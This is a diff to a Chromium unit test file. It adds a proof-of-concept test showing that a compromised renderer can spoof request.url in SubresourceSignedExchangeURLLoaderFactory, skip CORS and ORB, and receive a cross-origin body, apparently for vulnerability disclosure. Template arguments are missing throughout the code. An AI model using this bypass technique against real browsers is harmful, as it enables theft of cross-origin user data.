diff --git a/content/browser/web_package/subresource_signed_exchange_url_loader_factory_unittest.cc b/content/browser/web_package/subresource_signed_exchange_url_loader_factory_unittest.cc
index 5d893bea69d15..87f73dc7c1bb4 100644
--- a/content/browser/web_package/subresource_signed_exchange_url_loader_factory_unittest.cc
+++ b/content/browser/web_package/subresource_signed_exchange_url_loader_factory_unittest.cc
@@ -9,11 +9,15 @@
#include "content/browser/web_package/prefetched_signed_exchange_cache.h"
#include "content/public/test/browser_task_environment.h"
+#include "mojo/public/cpp/system/data_pipe.h"
+#include "net/http/http_util.h"
#include "net/traffic_annotation/network_traffic_annotation_test_helper.h"
#include "services/network/public/cpp/resource_request.h"
+#include "services/network/public/mojom/fetch_api.mojom-shared.h"
#include "services/network/public/mojom/url_loader.mojom.h"
#include "services/network/public/mojom/url_loader_factory.mojom.h"
#include "services/network/test/test_url_loader_client.h"
+#include "storage/browser/blob/blob_data_builder.h"
#include "storage/browser/blob/blob_data_handle.h"
#include "storage/browser/blob/blob_storage_context.h"
#include "testing/gtest/include/gtest/gtest.h"
@@ -86,5 +90,205 @@ TEST(SubresourceSignedExchangeURLLoaderFactoryTest,
loader.reset();
}
+// ---------------------------------------------------------------------------
+// POC: DCHECK-only request.url validation enables CORS/ORB bypass.
+//
+// SubresourceSignedExchangeURLLoaderFactory::CreateLoaderAndStart enforces
+// request.request_initiator against the origin lock with a release-mode CHECK,
+// but only enforces request.url == entry_->inner_url() with DCHECK_EQ, which
+// is compiled out in release builds.
+//
+// The factory's mojo remote is handed directly to the renderer process via
+// CommitNavigationParams::prefetched_signed_exchanges. A compromised renderer
+// can therefore invoke CreateLoaderAndStart with request.url set to ANY URL
+// that is same-origin with its (legitimately matching) request_initiator. The
+// spoofed request.url is then passed to:
+// * network::cors::ShouldCheckCors() -> false (same-origin) -> CORS skipped
+// * OpaqueResponseBlockingAnalyzer::Init() -> kAllow (same-origin) -> ORB
+// skipped
+// and the cross-origin SXG body in entry_->blob_data_handle() is piped to the
+// renderer.
+//
+// This test simulates the compromised-renderer end of the IPC. It creates a
+// factory bound to a victim.example body (HTML, no CORS headers, ORB-protected)
+// with request_initiator_origin_lock = attacker.example, then issues two
+// requests:
+// (A) Baseline: request.url = victim.example -> CORS rejects, no body.
+// (B) Spoofed: request.url = attacker.example -> body delivered.
+// Case (B) passing demonstrates the bypass.
+// ---------------------------------------------------------------------------
+
+namespace {
+
+constexpr char kVictimSecretBody[] =
+ "
VICTIM-SECRET-CROSS-ORIGIN-DATA";
+
+std::unique_ptr MakeVictimEntry(
+ storage::BlobStorageContext& blob_context,
+ const GURL& victim_inner_url,
+ const char* blob_uuid) {
+ auto entry = std::make_unique();
+ entry->SetCompletionStatus(
+ std::make_unique(net::OK));
+ entry->SetOuterUrl(GURL("https://attacker-cdn.example/victim.sxg"));
+ entry->SetInnerUrl(victim_inner_url);
+
+ // Inner response: cross-origin, ORB-protected (text/html + nosniff), and
+ // *no* Access-Control-Allow-Origin header. A well-behaved browser must
+ // never deliver this body to an attacker.example renderer.
+ auto inner_headers = base::MakeRefCounted(
+ net::HttpUtil::AssembleRawHeaders(
+ "HTTP/1.1 200 OK\n"
+ "Content-Type: text/html\n"
+ "X-Content-Type-Options: nosniff\n\n"));
+ auto inner_response = network::mojom::URLResponseHead::New();
+ inner_response->headers = inner_headers;
+ inner_response->mime_type = "text/html";
+ entry->SetInnerResponse(std::move(inner_response));
+
+ auto outer_headers = base::MakeRefCounted(
+ net::HttpUtil::AssembleRawHeaders(
+ "HTTP/1.1 200 OK\n"
+ "Content-Type: application/signed-exchange;v=b3\n\n"));
+ auto outer_response = network::mojom::URLResponseHead::New();
+ outer_response->headers = outer_headers;
+ entry->SetOuterResponse(std::move(outer_response));
+
+ entry->SetHeaderIntegrity(std::make_unique());
+ entry->SetSignatureExpireTime(base::Time::Now() + base::Days(1));
+
+ // The body is the victim origin's data.
+ auto builder = std::make_unique(blob_uuid);
+ builder->AppendData(std::string(kVictimSecretBody));
+ entry->SetBlobDataHandle(blob_context.AddFinishedBlob(std::move(builder)));
+ return entry;
+}
+
+std::string DrainPipe(mojo::ScopedDataPipeConsumerHandle pipe) {
+ std::string out;
+ if (!pipe.is_valid()) {
+ return out;
+ }
+ while (true) {
+ std::vector buf(4096);
+ size_t actually_read = 0;
+ MojoResult r = pipe->ReadData(MOJO_READ_DATA_FLAG_NONE, buf, actually_read);
+ if (r == MOJO_RESULT_OK) {
+ out.append(reinterpret_cast(buf.data()), actually_read);
+ continue;
+ }
+ // Producer is closed by the time RunUntilComplete() returns; SHOULD_WAIT
+ // therefore won't recur indefinitely.
+ if (r == MOJO_RESULT_SHOULD_WAIT) {
+ base::RunLoop().RunUntilIdle();
+ continue;
+ }
+ break; // FAILED_PRECONDITION (peer closed) or error.
+ }
+ return out;
+}
+
+} // namespace
+
+TEST(SubresourceSignedExchangeURLLoaderFactoryTest,
+ SpoofedRequestUrlBypassesCorsAndOrb) {
+ BrowserTaskEnvironment task_environment;
+ storage::BlobStorageContext blob_context;
+
+ const GURL victim_inner_url("https://victim.example/secret.html");
+ const url::Origin attacker_origin =
+ url::Origin::Create(GURL("https://attacker.example"));
+
+ // The browser hands the renderer a remote to a factory bound to the
+ // cross-origin victim entry, locked to the attacker (main-SXG inner) origin.
+ // This mirrors PrefetchedSignedExchangeCache::GetInfoListForNavigation.
+ mojo::Remote factory;
+ new content::SubresourceSignedExchangeURLLoaderFactory(
+ factory.BindNewPipeAndPassReceiver(),
+ MakeVictimEntry(blob_context, victim_inner_url, "victim-blob"),
+ /*request_initiator_origin_lock=*/attacker_origin);
+
+ // ------------------------------------------------------------------
+ // (A) BASELINE: honest renderer sends the real inner URL.
+ // mode=kCors, initiator=attacker, url=victim -> cross-origin.
+ // ShouldCheckCors() == true; victim response has no ACAO header
+ // -> CheckAccess() fails -> body MUST NOT be delivered.
+ // ------------------------------------------------------------------
+ {
+ mojo::Remote loader;
+ network::TestURLLoaderClient client;
+ network::ResourceRequest request;
+ request.url = victim_inner_url;
+ request.request_initiator = attacker_origin;
+ request.mode = network::mojom::RequestMode::kCors;
+ factory->CreateLoaderAndStart(
+ loader.BindNewPipeAndPassReceiver(), /*request_id=*/1,
+ network::mojom::kURLLoadOptionNone, request, client.CreateRemote(),
+ net::MutableNetworkTrafficAnnotationTag(TRAFFIC_ANNOTATION_FOR_TESTS));
+ client.RunUntilComplete();
+
+ EXPECT_FALSE(client.has_received_response())
+ << "BASELINE: cross-origin response without ACAO must be blocked.";
+ EXPECT_NE(net::OK, client.completion_status().error_code)
+ << "BASELINE: expected a CORS failure for the honest request.";
+ fprintf(stderr,
+ "[POC] BASELINE (url=%s): received_response=%d error_code=%d "
+ "cors_error=%d\n",
+ request.url.spec().c_str(),
+ static_cast(client.has_received_response()),
+ client.completion_status().error_code,
+ client.completion_status().cors_error_status.has_value()
+ ? static_cast(
+ client.completion_status().cors_error_status->cors_error)
+ : -1);
+ }
+
+ // ------------------------------------------------------------------
+ // (B) SPOOFED: compromised renderer lies about request.url.
+ // mode=kCors, initiator=attacker, url=attacker -> "same-origin".
+ // DCHECK_EQ(request.url, entry_->inner_url()) is compiled out.
+ // ShouldCheckCors() == false -> CORS skipped.
+ // ORB Init() returns kAllow (same-origin) -> ORB skipped.
+ // SendResponseBody() pipes victim.example's body to the renderer.
+ // ------------------------------------------------------------------
+ {
+ mojo::Remote loader;
+ network::TestURLLoaderClient client;
+ network::ResourceRequest request;
+ request.url = GURL("https://attacker.example/spoofed"); // <-- THE LIE
+ request.request_initiator = attacker_origin;
+ request.mode = network::mojom::RequestMode::kCors;
+ factory->CreateLoaderAndStart(
+ loader.BindNewPipeAndPassReceiver(), /*request_id=*/2,
+ network::mojom::kURLLoadOptionNone, request, client.CreateRemote(),
+ net::MutableNetworkTrafficAnnotationTag(TRAFFIC_ANNOTATION_FOR_TESTS));
+ client.RunUntilComplete();
+
+ // *** VULNERABILITY DEMONSTRATED HERE ***
+ // The factory delivered the cross-origin (victim.example) body to a
+ // request that claimed to be same-origin (attacker.example), with neither
+ // CORS nor ORB applied.
+ ASSERT_TRUE(client.has_received_response())
+ << "SPOOFED: factory accepted spoofed url and sent OnReceiveResponse "
+ "-> CORS/ORB bypass.";
+ EXPECT_EQ(net::OK, client.completion_status().error_code);
+
+ std::string body = DrainPipe(client.response_body_release());
+ fprintf(stderr,
+ "[POC] SPOOFED (url=%s): received_response=%d error_code=%d\n",
+ request.url.spec().c_str(),
+ static_cast(client.has_received_response()),
+ client.completion_status().error_code);
+ fprintf(stderr,
+ "[POC] *** Cross-origin body leaked to attacker renderer:\n"
+ "[POC] *** \"%s\"\n",
+ body.c_str());
+ EXPECT_EQ(std::string(kVictimSecretBody), body)
+ << "SPOOFED: victim.example body must have been piped to attacker.";
+ }
+
+ task_environment.RunUntilIdle();
+}
+
} // namespace
} // namespace content